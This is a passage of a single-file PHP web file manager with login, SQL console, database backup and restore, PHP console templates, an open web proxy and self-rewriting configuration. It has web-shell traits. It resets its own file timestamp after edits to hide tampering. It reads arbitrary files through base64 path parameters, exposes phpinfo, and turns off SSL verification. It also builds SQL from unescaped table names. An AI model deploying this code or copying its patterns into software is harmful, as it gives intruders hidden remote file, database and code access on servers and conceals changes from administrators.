ob_end_clean();
return $connection->connect_error;
}
$connection->set_charset('utf8');
$queried = mysqli_query($connection,$query);
if ($queried===false) {
ob_end_clean();
return mysqli_error($connection);
} else {
if(!empty($queried)){
while($row = mysqli_fetch_assoc($queried)) {
$query_result[]= $row;
}
}
$vdump=empty($query_result)?'':var_export($query_result,true);
ob_end_clean();
$connection->close();
return
'<pre>'.stripslashes($vdump).'</pre>';
}
}
function fm_backup_tables($tables = '*', $full_backup = true) {
global $path;
$mysqldb = fm_sql_connect();
$delimiter = "; \n \n";
if($tables == '*') {
$tables = array();
$result = $mysqldb->query('SHOW TABLES');
while($row = mysqli_fetch_row($result)) {
$tables[] = $row[0];
}
} else {
$tables = is_array($tables) ? $tables : explode(',',$tables);
}
$return='';
foreach($tables as $table) {
$result = $mysqldb->query('SELECT * FROM '.$table);
$num_fields = mysqli_num_fields($result);
$return.= 'DROP TABLE IF EXISTS
`'.$table.'`'.$delimiter;
$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE
'.$table));
$return.=$row2[1].$delimiter;
if ($full_backup) {
for ($i = 0; $i < $num_fields; $i++) {
while($row = mysqli_fetch_row($result)) {
$return.= 'INSERT INTO `'.$table.'` VALUES(';
for($j=0; $j<$num_fields; $j++) {
$row[$j] = addslashes($row[$j]);
$row[$j] = str_replace("\n","\\n",$row[$j]);
if (isset($row[$j])) { $return.=
'"'.$row[$j].'"' ; } else { $return.=
'""'; }
if ($j<($num_fields-1)) { $return.= ','; }
}
$return.= ')'.$delimiter;
}
}
} else {
$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is",
'', $return);
}
$return.="\n\n\n";
}
//save file
$file=gmdate("Y-m-d_H-i-s",time()).'.sql';
$handle = fopen($file,'w+');
fwrite($handle,$return);
fclose($handle);
$alert = 'onClick="if(confirm(\''. __('File
selected').': \n'. $file. '. \n'.__('Are you
sure you want to delete this file?') . '\'))
document.location.href = \'?delete=' . $file .
'&path=' . $path . '\'"';
return $file.':
'.fm_link('download',$path.$file,__('Download'),__('Download').'
'.$file).' <a href="#" title="' .
__('Delete') . ' '. $file . '" ' .
$alert . '>' . __('Delete') .
'</a>';
}
function fm_restore_tables($sqlFileToExecute) {
$mysqldb = fm_sql_connect();
$delimiter = "; \n \n";
// Load and explode the sql file
$f = fopen($sqlFileToExecute,"r+");
$sqlFile = fread($f,filesize($sqlFileToExecute));
$sqlArray = explode($delimiter,$sqlFile);
//Process the sql file by statements
foreach ($sqlArray as $stmt) {
if (strlen($stmt)>3){
$result = $mysqldb->query($stmt);
if (!$result){
$sqlErrorCode = mysqli_errno($mysqldb->connection);
$sqlErrorText = mysqli_error($mysqldb->connection);
$sqlStmt = $stmt;
break;
}
}
}
if (empty($sqlErrorCode)) return __('Success').' —
'.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}
function fm_img_link($filename){
return
'./'.basename(__FILE__).'?img='.base64_encode($filename);
}
function fm_home_style(){
return '
input, input.fm_input {
text-indent: 2px;
}
input, textarea, select, input.fm_input {
color: black;
font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
border-color: black;
background-color: #FCFCFC none !important;
border-radius: 0;
padding: 2px;
}
input.fm_input {
background: #FCFCFC none !important;
cursor: pointer;
}
.home {
background-image:
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
background-repeat: no-repeat;
}';
}
function fm_config_checkbox_row($name,$value) {
global $fm_config;
return '<tr><td class="row1"><input
id="fm_config_'.$value.'"
name="fm_config['.$value.']" value="1"
'.(empty($fm_config[$value])?'':'checked="true"').'
type="checkbox"></td><td class="row2
whole"><label
for="fm_config_'.$value.'">'.$name.'</td></tr>';
}
function fm_protocol() {
if (isset($_SERVER['HTTP_SCHEME'])) return
$_SERVER['HTTP_SCHEME'].'://';
if (isset($_SERVER['HTTPS']) &&
$_SERVER['HTTPS'] == 'on') return
'https://';
if (isset($_SERVER['SERVER_PORT']) &&
$_SERVER['SERVER_PORT'] == 443) return 'https://';
if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) &&
$_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return
'https://';
return 'http://';
}
function fm_site_url() {
return fm_protocol().$_SERVER['HTTP_HOST'];
}
function fm_url($full=false) {
$host=$full?fm_site_url():'.';
return $host.'/'.basename(__FILE__);
}
function fm_home($full=false){
return ' <a href="'.fm_url($full).'"
title="'.__('Home').'"><span
class="home"> </span></a>';
}
function fm_run_input($lng) {
global $fm_config;
$return =
!empty($fm_config['enable_'.$lng.'_console']) ?
'
<form method="post"
action="'.fm_url().'"
style="display:inline">
<input type="submit"
name="'.$lng.'run"
value="'.strtoupper($lng).'
'.__('Console').'">
</form>
' : '';
return $return;
}
function fm_url_proxy($matches) {
$link = str_replace('&','&',$matches[2]);
$url = isset($_GET['url'])?$_GET['url']:'';
$parse_url = parse_url($url);
$host =
$parse_url['scheme'].'://'.$parse_url['host'].'/';
if (substr($link,0,2)=='//') {
$link = substr_replace($link,fm_protocol(),0,2);
} elseif (substr($link,0,1)=='/') {
$link = substr_replace($link,$host,0,1);
} elseif (substr($link,0,2)=='./') {
$link = substr_replace($link,$host,0,2);
} elseif (substr($link,0,4)=='http') {
//alles machen wunderschon
} else {
$link = $host.$link;
}
if ($matches[1]=='href' && !strripos($link,
'css')) {
$base = fm_site_url().'/'.basename(__FILE__);
$baseq = $base.'?proxy=true&url=';
$link = $baseq.urlencode($link);
} elseif (strripos($link, 'css')){
//как-то тоже подменять надо
}
return $matches[1].'="'.$link.'"';
}
function fm_tpl_form($lng_tpl) {
global ${$lng_tpl.'_templates'};
$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
$str = '';
foreach ($tpl_arr as $ktpl=>$vtpl) {
$str .= '<tr><td class="row1"><input
name="'.$lng_tpl.'_name[]"
value="'.$ktpl.'"></td><td class="row2
whole"><textarea name="'.$lng_tpl.'_value[]"
cols="55" rows="5"
class="textarea_input">'.$vtpl.'</textarea>
<input name="del_'.rand().'" type="button"
onClick="this.parentNode.parentNode.remove();"
value="'.__('Delete').'"/></td></tr>';
}
return '
<table>
<tr><th
colspan="2">'.strtoupper($lng_tpl).'
'.__('templates').'
'.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'"
name="tpl_edited">
<tr><td
class="row1">'.__('Name').'</td><td
class="row2
whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input
name="res" type="button"
onClick="document.location.href =
\''.fm_url().'?fm_settings=true\';"
value="'.__('Reset').'"/> <input
type="submit"
value="'.__('Save').'"
></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'"
name="tpl_edited">
<tr><td class="row1"><input
name="'.$lng_tpl.'_new_name" value=""
placeholder="'.__('New').'
'.__('Name').'"></td><td
class="row2 whole"><textarea
name="'.$lng_tpl.'_new_value" cols="55"
rows="5" class="textarea_input"
placeholder="'.__('New').'
'.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input
type="submit" value="'.__('Add').'"
></td></tr>
</form>
</table>
';
}
/* End Functions */
// authorization
if ($auth['authorize']) {
if (isset($_POST['login']) &&
isset($_POST['password'])){
if (($_POST['login']==$auth['login']) &&
($_POST['password']==$auth['password'])) {
setcookie($auth['cookie_name'],
$auth['login'].'|'.md5($auth['password']),
time() + (86400 * $auth['days_authorization']));
$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
}
}
if (!isset($_COOKIE[$auth['cookie_name']]) OR
($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password'])))
{
echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width,
initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login"
type="text">
'.__('Password').' <input name="password"
type="password">
<input type="submit"
value="'.__('Enter').'"
class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';
die();
}
if (isset($_POST['quit'])) {
unset($_COOKIE[$auth['cookie_name']]);
setcookie($auth['cookie_name'], '', time() - (86400 *
$auth['days_authorization']));
header('Location:
'.fm_site_url().$_SERVER['REQUEST_URI']);
}
}
// Change config
if (isset($_GET['fm_settings'])) {
if (isset($_GET['fm_config_delete'])) {
unset($_COOKIE['fm_config']);
setcookie('fm_config', '', time() - (86400 *
$auth['days_authorization']));
header('Location: '.fm_url().'?fm_settings=true');
exit(0);
} elseif (isset($_POST['fm_config'])) {
$fm_config = $_POST['fm_config'];
setcookie('fm_config', serialize($fm_config), time() + (86400 *
$auth['days_authorization']));
$_COOKIE['fm_config'] = serialize($fm_config);
$msg = __('Settings').' '.__('done');
} elseif (isset($_POST['fm_login'])) {
if (empty($_POST['fm_login']['authorize']))
$_POST['fm_login'] = array('authorize' =>
'0') + $_POST['fm_login'];
$fm_login = json_encode($_POST['fm_login']);
$fgc = file_get_contents(__FILE__);
$search =
preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#',
$fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace =
str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
if (file_put_contents(__FILE__, $replace)) {
$msg .= __('File updated');
if ($_POST['fm_login']['login'] !=
$auth['login']) $msg .= '
'.__('Login').':
'.$_POST['fm_login']['login'];
if ($_POST['fm_login']['password'] !=
$auth['password']) $msg .= '
'.__('Password').':
'.$_POST['fm_login']['password'];
$auth = $_POST['fm_login'];
}
else $msg .= __('Error occurred');
if (!empty($fm_config['fm_restore_time']))
touch(__FILE__,$filemtime);
}
} elseif (isset($_POST['tpl_edited'])) {
$lng_tpl = $_POST['tpl_edited'];
if (!empty($_POST[$lng_tpl.'_name'])) {
$fm_php =
json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
$fm_php =
json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
}
if (!empty($fm_php)) {
$fgc = file_get_contents(__FILE__);
$search =
preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#',
$fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace =
str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
if (file_put_contents(__FILE__, $replace)) {
${$lng_tpl.'_templates'} = $fm_php;
$msg .= __('File updated');
} else $msg .= __('Error occurred');
if (!empty($fm_config['fm_restore_time']))
touch(__FILE__,$filemtime);
}
} else $msg .= __('Error occurred');
}
}
// Just show image
if (isset($_GET['img'])) {
$file=base64_decode($_GET['img']);
if ($info=getimagesize($file)){
switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
case 1: $ext='gif'; break;
case 2: $ext='jpeg'; break;
case 3: $ext='png'; break;
case 6: $ext='bmp'; break;
default: die();
}
header("Content-type: image/$ext");
echo file_get_contents($file);
die();
}
}
// Just download file
if (isset($_GET['download'])) {
$file=base64_decode($_GET['download']);
fm_download($file);
}
// Just show info
if (isset($_GET['phpinfo'])) {
phpinfo();
die();
}
// Mini proxy, many bugs!
if (isset($_GET['proxy']) &&
(!empty($fm_config['enable_proxy']))) {
$url =
isset($_GET['url'])?urldecode($_GET['url']):'';
$proxy_form = '
<div style="position:relative;z-index:100500;background:
linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed
100%);">
<form action="" method="GET">
<input type="hidden" name="proxy"
value="true">
'.fm_home().' <a href="'.$url.'"
target="_blank">Url</a>: <input type="text"
name="url" value="'.$url.'"
size="55">
<input type="submit"
value="'.__('Show').'"
class="fm_input">
</form>
</div>
';
if ($url) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_REFERER, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
$result = curl_exec($ch);
curl_close($ch);
//$result =
preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui',
'\\1="'.$url.'/\\2"', $result);
$result =
preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui',
'fm_url_proxy', $result);
$result = preg_replace('%(<body.*?>)%i',
'$1'.'<style>'.fm_home_style().'</style>'.$proxy_form,
$result);
echo $result;
die();
}
}
?>
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width,
initial-scale=1" />
<title><?=__('File manager')?></title>
<style>
body {
background-color: white;
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 8pt;
margin: 0px;
}
a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover { color: #FFA34F; text-decoration: underline; }
table.bg {
background-color: #ACBBC6
}
th, td {
font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
padding: 3px;
}
th {
height: 25px;
background-color: #006699;
color: #FFA34F;
font-weight: bold;
font-size: 11px;
}
.row1 {
background-color: #EFEFEF;
}
.row2 {
background-color: #DEE3E7;
}
.row3 {
background-color: #D1D7DC;
padding: 5px;
}
tr.row1:hover {
background-color: #F3FCFC;
}
tr.row2:hover {
background-color: #F0F6F6;
}
.whole {
width: 100%;
}
.all tbody td:first-child{width:100%;}
textarea {
font: 9pt 'Courier New', courier;
line-height: 125%;
padding: 5px;
}
.textarea_input {
height: 1em;
}
.textarea_input:focus {
height: auto;
}
input[type=submit]{
background: #FCFCFC none !important;
cursor: pointer;
}
.folder {
background-image:
url("data:image/png;base64,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");
}
.file {
background-image:
url("data:image/png;base64,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